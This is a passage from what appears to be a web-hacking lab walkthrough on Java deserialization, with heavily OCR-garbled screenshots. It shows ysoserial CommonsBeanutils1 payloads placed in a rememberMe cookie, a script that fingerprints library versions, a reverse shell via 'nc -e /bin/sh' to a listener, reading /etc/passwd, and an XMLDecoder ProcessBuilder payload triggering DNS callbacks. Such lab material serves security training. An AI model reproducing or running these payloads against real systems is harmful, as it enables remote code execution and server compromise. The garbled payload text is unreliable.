'target’ folder and using the following command, generate the ysoserial payload as also shown in

figure:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutilsl 'nslookup

deserialize.userX.webhacklab.com'

root@kali: # java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutilsl
‘nslookup deserialize.user85.webhacklab.com’
eJytVslvGOUUT2M7XscdzUTz2VKaboYmKdINSVInOKLkgxaDOwQSOoMP1ng90Nuud7ezs2TDoY T+AUgILvwDcCAcI1VQcajEL
(0sXTiAkTtwAoXJAqiiB82d3EaRIat855d2bfv0/3m/d241docjnOXKfvUdUThgkucsPmhlh/y2Me+/iHkTsPLt3ejEMsDwnXel
SVIK3bNYdyKmwuolsgJTUpqclu@30+AwAxVHzOSTWVOTRFZSrKIWzLV cuMW1LAVWdwYS5T67gNy++HVP27FIPall1ZtwCOgBUgb
3HcbFuoC00KpJrag2JLhhVdEiWru®jzXdNkZmCyPcb+101chu2WR1Dx78+cnAXWszGwPwHQFtticcTyyGdg3mrilUwrDgaehkl
qadngqTsM+hTOUQ1LMG5RU/VdU+1g4NRX11nNMalgbh7X5msL31gbn4/GIZmH1pJhVZglrnglMuN50FJCAcs1mecgj3S9CulReF
0y3K8WVECBWZ4qQLOkmdTGlo7gjDb0STitAUBMiNSZT1ihAe213BI9WrE4PKwh/4M/ jgaE3/+7rqlZ/DHMhgdnOWHFm437PX8
nUBsBROXnv24dT38Pj12AyDXF4XoGsAgMKVECgzWXco0YK4y5m/538HAHYBoGWWSyFolZYoabHmr7o/+j+hz/9/9qB5JRhGQI
38cGhFQKIWYyaQGvBsFiYn2VZLYLVT3VUS1ESvKTERFg1XAJHT4RXX05yUE] XTZtWCGTy1sVAkCKGTOOFddcOndOckMcNE3KF
VgpMuGf20Z1j0BwU512blwjww(Q]iQEMMalgBLcSAFmBA28KAFmMBAm1uYzxX35a6Z7dd7QH7xhXFuKt15i9nVqVUzGeczIlgYqgte
zXECAHzT2QeRVdDPRj+zP93hkD6NVINTNnCtFDhLANMNny8eBHLRETZtbnp/2DTePpKCrHE40jUidxMHTeEFALIXIIYPowMrikel
xnlw0J40yEQFVeOgyk4RkFBgmMPgVgCbzaaEW4 ZwmjxrTpsosQ18WWIgKdQbMw7LrzwW2bbFTz1qZttBA4eUAsWKIp3YxaQXu
Ow70d0gnAMOYMGaN3A12DQ4U%bLKkMvAjnO3A0OVALDGINT3/Ccfuy jWwVRPAx0jKtrrLxK9RsmLcv5kITRbChMZZzqBs4N758x0
J9g+dYZdN4Pdb1SaGsPutiRQ2Tx1lor500h7t4ho20bHsxYnsy0jYhcnsWHYUs1FALEMOTKEM+yr6hP9j0ARIXBXZj yEVOBAi+
MwgRcOV4NoO/BWQzYC1BZ/JgKjBEXxmQgZohQlcsV1CI3JJ4UtysknabsGxQLA/PIwESa4LuoNzAj3QixJ9uA991GqPR2rzAX
UTtROB2uHwcF+12z8IJ1JC75+Akmg8bSMHQdtBn8ERYy tX4GcVK4C1rHhS9h/NpmIHgxCIpIjv7A/iloxzWNRzE4ADW3Q/MLI2Ya
832/PseNyjnUpBKNArw]9jcoxm78YvO3VrvQezhylLX7btPXNr4MC5hVKNdIRjBE430ApDr4N9oXwdP6P+syMcdKsTi2PS0I6n
duG41zg/Gjw/d1S3W1YXv+ESeKmdsObALSVuBf8FQSMilg==
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Step 13: Add the generated payload in ‘rememberMe' cookie in request and forward the request

and observe that the application responds with an error of 'serialVersionUID mismatch' as shown in

figure:
Send Cancel | < |v >\ Target: http://mblognew.webhacklab.com / ®
Request
J Raw TParams T Headers T Hex ]
1 GET /userUpdate HTTP/1.1 4

2 Host: mblognew.webhacklab.com

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

5 Accept-Language: en-US,en;qg=0.5

6 Accept-Encoding: gzip, deflate

7 Referer: http://mblognew.webhacklab.com/login

8 Cookie: JSESSIONID=883B382ACE34F9454AA4F74D3E472E36; rememberMe=
"elytVk1sGOUUTmM7tm0c5qf5bSTNfOKTL07atZMmdUTID20NDgkkpEg+WOP14GxZ725nZ4nDgQMnrgguH]E
QqCIcIiGo0CBx5cwIhISExAEJ0JQDUsXPm91NnCahcUsseWf2zft/37y3G79Ci80h7yZ9nSquOAllkesW18X
61y5z2XvfpT67d+WtzTCEBhBXx9DdYARKaVbMpp8LiAnoLUTKVkursNj 1XtwEghIrPW7yqUltqqOxBuZplOkg
ZUVMKOMoM7hpSP33w91/06Q+vhyBOn5Vb8CaQAsRtbtmMi3UBXb5Vg5pVdUlw3ayiRbR2ZRI rmmUYTBO6VY/
S651B3bLBGh7c++P90Tvm5qUQQNOWOGG5wnbFom9XZ85aBMMKo6HLGELxXFPZYbBOORIFNwWX ] J jWUUmMITRG
clpVIVIrMNKpiTx7X1xsLX5sYnmTBEB9BWOsOKM8ULbg3MeB601FDAdAWMBk ivFyFRKg8Lp1kV5ggIF4szRY1
WNIM6+NpV3JGGWUnLFaClZNIakymLFKCztDuC+va0Png3/w53LPOPN/DfRUq9/7uZDVRquOLNxt+/PaHz E

MAFT T AT Lo Fi 2 | Sl isa~r A e M S T S T ) L ALTT = L 1Y < T

@@ €| 2] |Search... 0 matches | \n | FPretty

Response
J Raw I Headers I Hex I Render ]

sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name { 4
color : black;}.line {height: 1lpx; background-color: #525D76; border: none; }</style>
</head><body><h1>HTTP Status 500 - org.apache.commons.beanutils.BeanComparator;
local class incompatible: stream classdesc serialVersionUID = -2044202215314119608,
local class serialVersionUID = -3490850999041592962</hl><div class="1line"></div><p>
b>type</b> Exception report</p><p><b>message</b> <u>

A
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Step 14: The following bash script is used to fetch the 'serialVersionUID' of all the available versions

of ‘commons-beanutils'.

#!/bin/bash

#Example usage: ./getSUIDs.sh
https://archive.apache.org/dist/commons/beanutils/binaries/
org.apache.commons.beanutils.BeanComparator

#Example2 usage: ./getSUIDs.sh
https://archive.apache.org/dist/commons/collections/binaries/

org.apache.commons.collections4.functors.InvokerTransformer

url=$1
class=%$2

mkdir tmpjars

for zip in $(curl -s $url | grep
't _f 2);do

.zip<' | grep -Eo 'href="[~\"]1+"' | cut -d

wget -0 tmpjars/current.zip -4 $url$zip --no-check-certificate &>/dev/null

unzip tmpjars/current.zip -d tmpjars &>/dev/null

echo "Checking file: $zip"
for jar in $(find tmpjars/ -name '*.jar');do
serialver -classpath $jar $class 2>/dev/null| grep serialVersionUID

done

rm -rf tmpjars/*
done

rm -d tmpjars/
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Step 15: After executing the above script, observe that the application might be using the commons-
beanutils v1.7.0 to 1.8.3 and ysoserial latest version built in ‘commons-beanutils v1.9.2" as shown in

figure:

root@Kali: ~/tools# chmod a+x getSUIDs.sh

root@Kali: ~/tools# ./getSUIDs.sh
https://archive.apache.org/dist/commons/beanutils/binaries/

org.apache.commons.beanutils.BeanComparator

-o0t@k #| ./getSUIDs.sh https://archive.apache.org/dist/commons/beanutils/binaries/ org.apache.commons.beanutils.BeanComparator
Checking file: beanutil(s-1.5.71p
org.apache.commons.beanutils.BeanComparator: private static final long serialVersionUID 5123381023979609048L ;
Checking file: commons-beanutils-1.6.1.zip
org.apache.commons.beanutils.BeanComparator: private static final long serialVersionUID 2573799559215537819L;
Checking file: commons-beanutils-1.6.zip
ora.apache.commons.beanutils.BeanComparator: private static final lona serialVersionUID 3799559215537819L ;
Checking file: commons-beanutils-1.7.0.zip
ommons .beanutils.BeanComparator: private static final long serialVersionUID -34908509990415929
.commons.beanutils.BeanComparator: private static final long serialVersionUID -34908509990415929
commons-beanutils-1.8.0-BETA.zip
org.apache.commons.beanutils.BeanComparator: private static final long serialVersionUID -3490850999041592962L ;
org.apache.commons.beanutils.BeanComparator: private static final long serialVersionUID
Checking file: commons-beanutils-1.8.0-bin.zip
org.apache.commons.beanutils.BeanComparator: private static final long serialVersionUID -3490850
org.apache.commons.beanutils.BeanComparator: private static final long serialVersionUID
Checking file: commons-beanutils-1.8.1-bin.z
org.apache.commons.beanutils.BeanComparator: private static final long serialVersionUID -3490850999041592962L ;
org.apache.commons.beanutils.BeanComparator: private static final long serialVersionUID -3490850999041592962L ;
Checking file: commons-beanutils-1.8.2-bin.zip
org.apache.commons.beanutils.BeanComparator: private static final long serialVersionUID -3490850999041592962L ;
org.apache.commons.beanutils.BeanComparator: private static final long serialVersionUID -3490850999041592962L ;
Checking file: commons-beanutils-1.8.3-bin.zip
org.apache.commons.beanutils.BeanComparator: private static final long serialVersionUID -3490850999041592
org.apache.commons.beanutils.BeanComparator: private static final long serialVersionUID -34908509990415929 H
Checking file: commons-beanutils-1 -bin.zip
org.apache.commons.beanutils.BeanComparator: private static final long serialVersionUID -2044202215314119608L;
Checking fil commons-beanutils-1.9.1-bin
org.apache.commons.beanutils.BeanComparato private static final long serialVersionUI -2044202215314119608L ;
Checking file: commons-beanutils-1.9.2-bin.zip
org.apache.commons.beanutils.B arator: private static final long serialVersionUID = -2044202215314119608L;
Checking file: commons-beanutils
org.apache.commons.beanutils.BeanComparator private static final long serialVersionUID -2044202215314119608L;
Checking file: commons-beanutils-1
org.apache.commons.beanutils.Be: ar r: private static final long serialVersionUID -2044202215314119608L ;
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Step 16: Navigate to ysoserial source code and modify the ‘pom.xml’ and replace the version of

‘commons-beanutils' from '1.9.2' to '1.7.0" and compile the ysoserial source code as shown in figure:

0 /root/Desktop/ysoserial/
the root account, you may harm your system.
- — L L B L L
N - = <& = = = =
sre target appveyoryml  assembly.xml DISCLAIMER.txt Dockerfile README.md ysoserial.png
pom.xml|
)ptions Help
<driLiridCcLirag-"commons-cocLLtecLiyonss/drLridcuoLiLa~-
<version>3.1l</version>
</dependency>
<dependency>
<groupId>org.beanshell</groupId>
<artifactId>bsh</artifagtId>
<version>2.0b5</versio
</dependency>
<dependency>
<groupId>commons-beafiutils</groupIld>
<artifactId>commonsPbeanutils</artifactId>
| <version>1.9.2</version> |
</dependency>
<dependency>
<dependency
<version>1.7.0 </version>
</dependency>
<dependency>
B irerminal - root@kali: ~/Desktop/ysoserial
File Edit View Terminal Tabs Help
root@kali: ~/Desktop/apache-... %X root@kali: ~/Desktop/ysoserial root@kali: ~/Desktop/ysoseri... %X root@

#| ../apache-maven-3.6.3/bin/mvn clean package -DskipTests]]
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Step 17: Again generate the deserialization payload using same command as shown in figure:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutilsl 'nslookup

deserialize.userX.webhacklab.com'

: # java -]ar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutilsl
nslookup deserialize.user85.webhacklab.com'

elytVs1vGOUUT2ZM7XscdzUTz2VKaloYmKdINSVINOKLkgxaDOwQSOoMP1ng90Nuud/7ezs2TDoY T+AUgILvwDcCAcI1VQcajEL
(0sXTiAkTtwAoXJAqii82d3EaRIat855d2bfv0/3m/d241docinOXKfvUdUThgkucsPmhlh/y2Me+/iHkTsPLt3ejEMsDwnXel
SVIK3bNYdyKmwuolsgJTUpqclu@30+AwAxVHZOSIWVOLRTZSrKIWzLYVcuMWLLAYWdwVS5T67gNy++HVP27FIPallZtwC0gBUgb
3HcbFuoC00KpJraq2JLhhVdEiWruQjzXdNk2mCyPcb+101chu2WR1Dx78+cnAXWszGwPwHQFtticcTyyGdg3mrilwrDgaehkl
qa5ngTsM+hTOUQ1LMG5RU/VdU+1ig4NRX11nNMalgbh7X5msL31gbn4/GIZmH1pJhVZglrng1lMuN50FJCAcs1mecgj3S9CulReF
0y3K8wVECBWZ4qQLOkmdfGlo7gjDb0S1itAUBmiNSZT1ihAe213BIOWrE4PKwh/4M/jgaE3/+7rqlZ/DHMhg4n@WHFm437PX8
nUB8sB8ROXnv24df38Pj L12AyDXF4X0oGsAgMKvECgzWXco0YK4Ay5m/538HAHYBoGWWSyFoJZYoabHmr70/+j+hz/9/gqB5JRhGQI
38cGhFOKIWYyaQGvBsFiYn2VZLYLVt3VUSIESvkTEhFg1XAJH14RXX0o5yuEj XTZtWCGTy1sV4kCKGTOOFddcOndOckMcNE3KF
VgpMuGT20Z1j0Bwl512blwjwwQJiQEMMalgBLcSAFMBA28KAFmBAmMIuY zxX35a6Zdd7QH7xhXFuKt15i9nVqVUzGezIlgYqte
7XECAHzT2QeRVADPRj+zP93hkD6NVINTNCtFDhLANMNy8eBHIRETZtbnp/2DTePpKCrHE40jUidxMHTeEFAIXIJYPowMrikel
xnlw0J40yEQFVebgyk4RkFBgmMPgVgChzaaEW4ZwmjxrTpsosQl8WWIgKdQbMw7L rzwiW2bbFTz1qZttBA4eUAsWKIp3YxaQXu
Qw70d0gnAMOYMGaN3A12DQ4U9bLKkMvAinO3AOVALDEINt3/Ccfuy jWwVRPdx0jKt rrLxK9RsmLcv5kITIRbCbMZzqBs4N758x0
U9g+dYZdN4Pdb1SaGsPutiRQ2Tx1lor500h7t4ho20bHsxYnsy0jYhensWHYUs 1FALEMOTKEM+yrehP9j0ARIXBXZjyEVOBAi+
MwgRcOV4No0/BWQzYC1BZ/JgKjBEXxmQgZohQ1lcsV1CI31J4UtysknabsGxQLA/PIwESa4LuoNzAj3QixJ9uA991GgPR2rzAX
UftROB2uHwcF+1z81J1JC75+Akmg8bSMHQdtBn8ERYtX4GcVKAC1rHhSOh/NpmIHgxCIpIjv7A/iloxzWNRzZE4ADW3Q7M1]2Ya
832/PseNyjnUpOKNATrwl9jcoxm78YvO3VrvQezhyLX7btPXNr4MC5hVKNdIRjBE430ApDr4N9oXwdPeP+syMcdKsTi2PS0I6n
duG4I1zg/Gjw7d1S3W1YXv+ESeKmdsObA15Vu8f8FQSMilg==

Step 18: Add the generated payload in 'rememberMe' cookie as shown in figure:

| Send | | < v | Target: http://mblognew.webhacklab.com |/®

[Raw I Params ] Headers ] Hex ]

GET /userUpdate HTTP/1.1

Host: mblognew.webhacklab.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://mblognew.webhacklab.com/login

Cookie: JSESSIONID=883B382ACE34F9454AA4F74D3E472E36; rememberMe= ' 4
"elytVslvGOUUT2M7tmOc5qP5bC1NaU0OTLO07mwOmc0ilkgxaDOwQcOoMP1ng90F viWwudvZWeIweKF /ABKCC/8
ASBAOKRBUHJIC4cuHCCYTEiRsgVASIFYU3u5s4TUL 11 yzuyb9/1+895u/QpNDoeem/RtqrhCN5QV ritcF5u
vucx1H/ww8vn92TvbYQhlIeLo77AcIDSralNOhcUFdOekpCollYVdeqZmAQAIFV+yeEWhNtXWmYIyVctO1BK
jphRwlHnclaW+e5fceXD9j9shCD1k5RbeBpKDUMOtm3GxKaDDt2p0s6LmBAFNC1pEa70HWNMSW2Ca0P39i k5
HCeyWDFb34P6fHwW7cNbenQgA1WOCh5QrbFSu+XZ05GXEMK4yGrqAmxXFNZY/BGkV /FNOUj JvUUGQOITRFcFp
TVInVNghgThbhX5hvL35hbn46HIZgF lqlulpkprrvVEUNZOFFEAdMxmMgivVaARLGOKZhmlZk j IFwozBcgWtQ
M6uBrR2FPGhYkLZOquJJqumLJKD9uL+CBSuWJ3quz+wZ/LPUOv/tBXVanSGOdCVthocler2ev6Lx128 =

oonTIl s n—na Tl Rl SIS (XYY WRVERRT.Y LW TP AN San

@@l € ||| |Search... 0 matches \n |

J»

D~ WN =

Raw | Headers ]Hex ]Render

</u></p><p><b>exception</b></p><pre>java.lang.ClassCastException:
java.lang.reflect. InvocationTargetException

10| org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:155)
11| java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:722)

12| java.util.PriorityQueue.siftDown(PriorityQueue.java:688) i)
13| java.util.PriorityQueue.heapify(PriorityQueue.java:737)

14| java.util.PriorityQueue.readObject(PriorityQueue.java:797)
15| sun.reflect.NativeMethodAccessorImpl. invokeO(Native Method)

T

ol
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Step 19: The payload gets successfully executed and a request on python server will be received as

shown in figure:

root@kali:/# tcpdump -n udp port 53 -i any
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any,  link-fype I TNUX SI1 _(linux cooked v1) _canture size 262144 hytes

17:54:35.156702 IP 192.168.200.12.6540 > 192.168.4.85.53: 54695+ A? deserialize.user85.webhacklab.com.
17:54:40.200960 IP 192.168.200.12.6540 > 192.168.4.85.53: 54695+ A? deserialize.user85.webhacklab.com.
£7:54:45.387208 IP 192.168.200.12.6540 > 192.168.4.85.53: 54695+ A? deserialize.user85.webhacklab.com.

Step 20: Generate the payload using tool ‘ysoserial-master.jar’ to perform the action of taking a

reverse shell using the below command:

root@Kali:~/ysoserial/target# java -jar ysoserial-0.0.6-SNAPSHOT-all.jar

CommonsBeanutilsl 'nc -e /bin/sh 192.168.4.X 9898

root@® kali)-| ~/ysoserial/target

#|java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutilsl 'nc -e /bin/sh 192.168.4.85 9898
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
eJytVs1vGoUUT2M7tmOc5gPSbEvr0oYmKd1l1EqexcUTIBYy2GTRNISA8+WOP14GXxZ7253Z4nDoYf+AUgILvwDcCACI1VQcUDiyo
ULJxASJ26AUDKgVRTe7G7 iNAMNW2LJO7Nv3Vvu9N+/9551u/Qot jg19N+m7VHKSpkvLtmbaGt98w2Uu++ iHIN@HM3e2wxAqQMTR
3mMMKJIFSzZ1GbctPmOKsIS11Yyv078nzdAoAQA1827apELaquMwntagbhSGVGDWHESHM4a1h992z658/D6H7dDEHTEYy24DUSBUG
WbFrP5Jocu36t0jaq8wm3NgKIHIDZziDfV1HWmMcs2f72A6UuC3rLNGBA/ +/HjwnrE9QFQKoWxw6TIdbL1/2/WrM2YjgtsLo6EVE
khzXkPY4rFOMR9IMzmyD61LdobkgcZvWpVVWs3TKmVPAS XG0 jfGImcTYYgWoK2kGRVM80turczsApwooYHh6 IwXUF4vQqJU3u
RMNSvM4RAuFueKEC2pOnXwtau4Jw3zQpZXoKVk@BoTKYso0Fnav4NHK9aQ+xWDf/Dn2p6j1/8e6K1Wf/RzIaql81Bxbut+31/R
+0rPgTi6/e3Dr77G5XHIJSAMz8VgKgaDMXieQIfDbI3qa8x2MPtVFRYIKNcItM1jKTgl+BrVXdbyeerD+x/89PtLBKLTmgFxnI
SHhtcIROZx1wTaFclgfn5WRbUIVtOUEZYiOL4HWghf1xwCI1le4W14NcrhMN3WTVEgkC4bBbCOFDIUMLU3HIIOTLY/H8RNyjVaq
jDsXD@HJIE2j1iv02adcI2EMKckBGDs jIAdnng0xxQN7hg0xxQF 5YWswXD9Wu6QldPx48Yba8EkypY02riKjozMeL1MQrpurwkC
8ERp/IPZqu+zi4/bn/HwyBxCt11VnesYrBJQKfPFk+joygwmvywuribF1zCijyusrx5FAL4AQPNiYKArEgIwRMjyOTK6Zrg+y(q
ImicDBgoiU0ahAQ8E4MhAhNPQVgCLzdbEds1uFZj8mzZQYqrfAeJQLfXLDSzEbx32nLNTu8g7bKFwLkj9oIlmlbloBY@Njrem3
6QMRjBNKFi8E6gZ2hY0aCWT8ILMIgAYYChSONNjbKUXNYM2V1P jeXGpbErwskjzsdTuwwuG4cOdhBWZygBS@MHLS5e9+NgzVYat
Noktb@LgZ7ClrXCqvrNIraAZnWlscXkDO08mk55MZ9ITU+PpbI7AWeVx63k4DyFspRgR/k9BCORX jIKWDHFPhqzAZXI1Mo4EX5
aRL4Fseypt+Ix6Qh104DPpKOA7ZHHEDgNdqCWMZ8R1IMT7DTOeYcpfDAZFrAd6vXUCTdCPFgM492MUsKeD2IInPQQ268GO+IuH
Wp6BZ9FCzM7COXTTcBCH4d1NX8QVodX+KYSJcg/krrEvYPLGtmd4xdsUERopz/956MQxgUshuAAdOOgKy7EDdb/fvbpOi6uriw
ZOMeiPwUCzV9etX7TfpmvX+0/n6gpfNcODVIXgkVCcVWIXTRE4RUNAEFG69QTW18k38cvrPInDUQX4sjonzPl7ex+Mub/2k9+ze
U91eUV38bIvembKtDQJ1Uem2+r9sgRko

Step 21: Start a “nc listener” to wait for reverse shell

root@Kali:~# nc -nlvp 9898

root@® kali
# nc -nlvp 9898

listening on [any] 9898 ...
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Step 22: Copy the payload we generated in the above step and paste this entire payload in the

rememberme cookie and observe the command execution on the server.

m Cancel | < "| Target: http://mblognew.webhacklab.com I/
nE=

Request

Pretty \n Actions v

S Referer: http://mblognew.webhacklab.com/login

10 Cookie: JSESSIONID=7AQ03EG89ABEBE62792192CBC59396EB7; rememberMe=
"elytVs1lvGOUUT2M7tmOc5qP5bEv rOoYmKdmt8+ngiJAPWgxOEOhIDz5Y4/XgbFnvbmdnicOhh/4BSA
gu/ANwIBwiVVBxQOLKhQsnEBInboBQOSBVFN7sbuI0CY1lbYsk7s2/e+7037/3mzW79Ck00h56b9F2qu
EI31TGWuWlwXm2+4zGUT/XD1700Z09thCOUg4ujvsTwkNKtqUOGFxQVO56WLKi3V+V15tmYDQAiLBL1u8
o1ChautMQbuqZTpKiVFTG]j jKHM7qVt+9T+48vP7H7RCEHVFyC24DyUPc5pbNuNgUOOF7NahZUVcE180
KekRvM4d40yzDYJ rQ/fkOpgMETksGqO fwdM+P+++Z25MhgJotoMlyhe2KZd+vzpyNCG4 rjI5eRCTFcU

11j8MaxXgU3RSMm9IRQao4hNEVWWINWWdU2qGBODs fmGOv fmFufjYYhmoOWom6WmSmuu9US4zk4UUQDO
ZGYwKGRVARFehOnmGaVmSMaYXCiMESRa 1A7nAGHHYIIRaRallemAdamnlemrTKYeln f2AuvAdPFEayviitvy GPvD

®@|i”i| Search... ‘ 0 matches

Response

M50 Raw Render \n Actions Vv

<p re>

java.lang.ClassCastException: java.lang.reflect.InvocationTargetExceptio
10 org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:l
11 java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:722)
12 java.util.PriorityQueue.siftDown(PriorityQueue.java:688)
13 java.util.PriorityQueue.heapify(PriorityQueue.java:737)
14 java.util.PriorityQueue. readObject(PriorityQueue.java:797)
15 sun.reflect.NativeMethodAccessorImpl.invokeO(Native Method)

®@|Z”:H Search... ‘ 0 matches
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Step 23: As can be seen from the screenshot below, we received a reverse shell on our internal kali

host confirming command execution.

root@® kali ~

# nc -nlvp 9898
listening on [any] 9898
connect to [192.168.4.85] from (UNKNOWN) [192.168.200.11]
id
uid=111(tomcat8) gid=117(tomcat8) groups=117(tomcat8)
whoamil
tomcat8
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/shin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:1p:/var/spool/1lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxv:/bin:/usr/sbin/nologin
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Java Deserialization Attack - XML

Challenge URL: http://mblog.webhacklab.com/api/add/microblog

e |dentify the request to inject XML serialised data and inject a payload into it to make
the host send ping requests to an external host.
o Get areverse shell and extract the system information such as username, OS type

from the server and also read “/etc/passwd” file.
Solution

Step 1: Login into the Microblog and post a blog.

| mblog.webhacklab.com

Microblog

=1 ¢

Recent updates

ﬂ dhruyv - 9 minutes ago
test

o B 0 0O

Step 2: Observe the request. It's a simple REST API request which adds the content.

POST fapifadd/microblog HTTR/1.1

Host: mblog webhacklab.cam

Content-Length: 68

Accept:

Qrigin: http://mblog webhacklab.com

X-Requested-With: *MLHttpRequest

User-Agent Mozilla/5.0 (Windows NT 10.0;, Wine4, x64) AppleWeblKity'537 .36 (KHTML, like Gecko) Chrome/71.0.3578 98 Safari/537 .36
DNT: 1

Content-Type: applicationfjson; charset=UTF-8

Referer: http:/mblog.webhacklab.com/index

Accept-Encoding: gzip, deflate

Accept-Language: en-US en;q=0.9

Cookie: JSESSIONID=582056FDBTD48B6243A4B633C8A2A8A3
Caonnection: close

["awh notsosecure mblog web forms MicroblogForm" {"cantent":"Test"}]

Step 3: In the source code we get some hints about the new update.
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C ) | @ view-source:192.168.200.14:3080/index

Error : function(data) 1

¥
T

= | i
-~ & En

-
[

i
s L3 @ g3

function addMicreBlog() {
var msgcontent =%("#msgcontent”).val();

8

B

2| // UPDATE: Migrated to 1SON on 12/84/2817

@l /S war xml="<?xml version="1.@" encoding="UTF-8"7>"+

21 "<java version="1.7" class="java.beans.XMLDecoder”>"+
=] ‘<object class="awh.notsosecure.mblog.web.forms.MicroblogForm”> "+
1 "<vold property="content":'+

=1l W ‘<string>'+msgcontent+’ </string:’+

sl /f “ofvolds "+

2 ‘<« fobject>'+

= W ‘¢fjavaz';

Step 4: Modify the request to check if the server accepts XML as an input. Web frameworks in Java
use XStream or XMLDecoder libraries to convert HTTP request parameters to objects through a
process called Deserialization which may lead to remote code execution. In the screenshot below
when we tried to change our request to XML , the application servers an XML parsing error which

gives us a hint that the HTTP request is attempting to be parsed as an XML.

<?xml version="1.0" encoding="UTF-8"?>

<java version="1.7" class="java.beans.XMLDecoder">

<object class="awh.notsosecure.mblog.web.forms.MicroblogForm">
<void property="content">

<string>test</string>

</void>

</object>

</java>
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Go Cancel < |7 > | Target: http://mblog.webhacklab.com [fJ [EJ

Request

J RawT Params T Headers T Hex TXML ]

POST /api/add/microblog HTTP/1.1 A
Host: mblog.webhacklab.com ™
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.13; rv:52.0) Gecko/20100101
Firefox/52.0

Acgcept: */%

Accept-Language: en-05,en;g=0.5

Aecarnt Toendinc: acin  Adoflats

ontent-Type: application/xzml; charset=utf—8|

= * 1=
Referer: http://mblog.webhacklab.com/index
Content-Length: 243
Cookie: JSESSIONID=1BC9C9433D105ABCF8E43C91CFE2168E;
rememberMe=rO0ABXNyACZhd2gubm90c29=zEWlH lcmUubWIsb2cuZGIubWokZWwuViN1clNlcnUQ30eWSflvh
gABTAATAXM1cmShbWVOABIMamF2YS9sYWSnL1NO0cmluZztdcHQABWRoCcnV2
Connection: close

<?xml version="1.0" encoding="UOTF-8"7?>
<java version="1.7" class="java.beans.XMLDecoder ">
<object class="awh.notsosecure.mblog.web.forms.MicroblogForm">
<void property="content">

<string>test</string>
</void>
</object>
</ java>| v
l ? J[ < J[ + J[ > J Type a search term 0 matches
Response

J RawT Headers T Hex ]

HTTP/1l.1 200 OF

Server: nginx/1.10.3 (Ubuntu)

Date: Tue, 10 Jul 2018 16:31:16 GMT
Content-Type: text/plain;charset=I50-8859-1
Content-Length: 0

Connection: close

Ty

Step 5: Start sniffing traffic using TCPDump.

tcpdump -n udp port 53 -i any

# tcpdump -n udp port 53 -i any

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX SLL (Linux cooked), capture size 262144 bytes
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Step 6: Let’s send the following XML file to the application , the XStream parser will try to

deserialize the object and execute the java.lang.Runtime class giving us a remote code execution

<?xml version="1.0" encoding="UTF-8"?>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="2">

<void index="0">
<string>nslookup</string>

</void>

<void index="1">
<string>spaml234.userX.webhacklab.com</string>

</void>
</array>
<void method="start" />

</object>

m Cancel |< '| Target: http://mblog.webhacklab.com /
[ ] ] |

Request (L]

Pretty IREVWE \n Actions v Select extension... Vv

1 POST /api/add/microblog HTTP/1.1

Z Host: mblog.webhacklab.com

3 User-Agent: Mozilla/5.0 (X11; Linux xB6 64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: */%*

5 Accept-Language: en-US,en;g=0.5

5 Accept-Encoding: gzip, deflate

7|Content -Type: application/xml; charset=utf-3|

8 X-Requested-With: XMLHttpRequest

9 Content-Length: 337

10 Origin: http://mblog.webhacklab.com

11 Connection: close
12 Referer: http://mblog.webhacklab.com/login
13 Cookie: JSESSIONID=GDC7ZEACLZC2447A16ABFDTEZG94E30D1
14

15|<?xml version="1.0" encoding="UTF-8"7>

16| <object class="java.lang.ProcessBuilder">

17 <array class="java.lang.String" length="2">
18 <vold index="0"=>

19 <string>nslookup</string>

20 </void=

21 <vold index="1"=

22 <string>spaml1234 . useré.webhacklab.com</string>
23 </void>

24 </array>

25 <vold method="start" /=

26| </object=>

@@ |E”E| | Search... 0 matches

Response

Pretty MREYYM Render \n Actions v Select extension... Vv

1 HTTP/1.1 500 Internal Server Error

2 Server: nginx/1.10.3 (Ubuntu)

3 Date: Fri, 23 Jul 2021 12:32:07 GMT

4 Content-Type: text/html;charset=utf-8
5 Content-Length: 4335

6 Connection: close

7 Content -Language: en

8
9 <!DOCTYPE htmlz<html><head=><title>Apache Tomcat/8.0.32 (Ubuntu) - Error report</
title=<style type="text/css">Hl {font-family:Tahoma,Arial,sans-serif;color:white;
background-color:#525D76; font -size:22px;} H2Z {font-family:Tahoma,Arial,sans-serif;
color:white;background-color:#525D76; font-size: 16px;} H3 {font-family:Tahoma, Arial,

oo cogd £ lor aoubit o bocle aronamd 1oy e oenTe . font od P I WV N =T | [ fomt fomilai:
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Step 7: As can be seen from the screenshot below we received a dns request for domain resolution

on our Authoritative domain “userX.webhacklab.com” confirming command execution.

tcpdump -n udp port 53 -i any

: # tcpdump -n udp port 53 -1 any
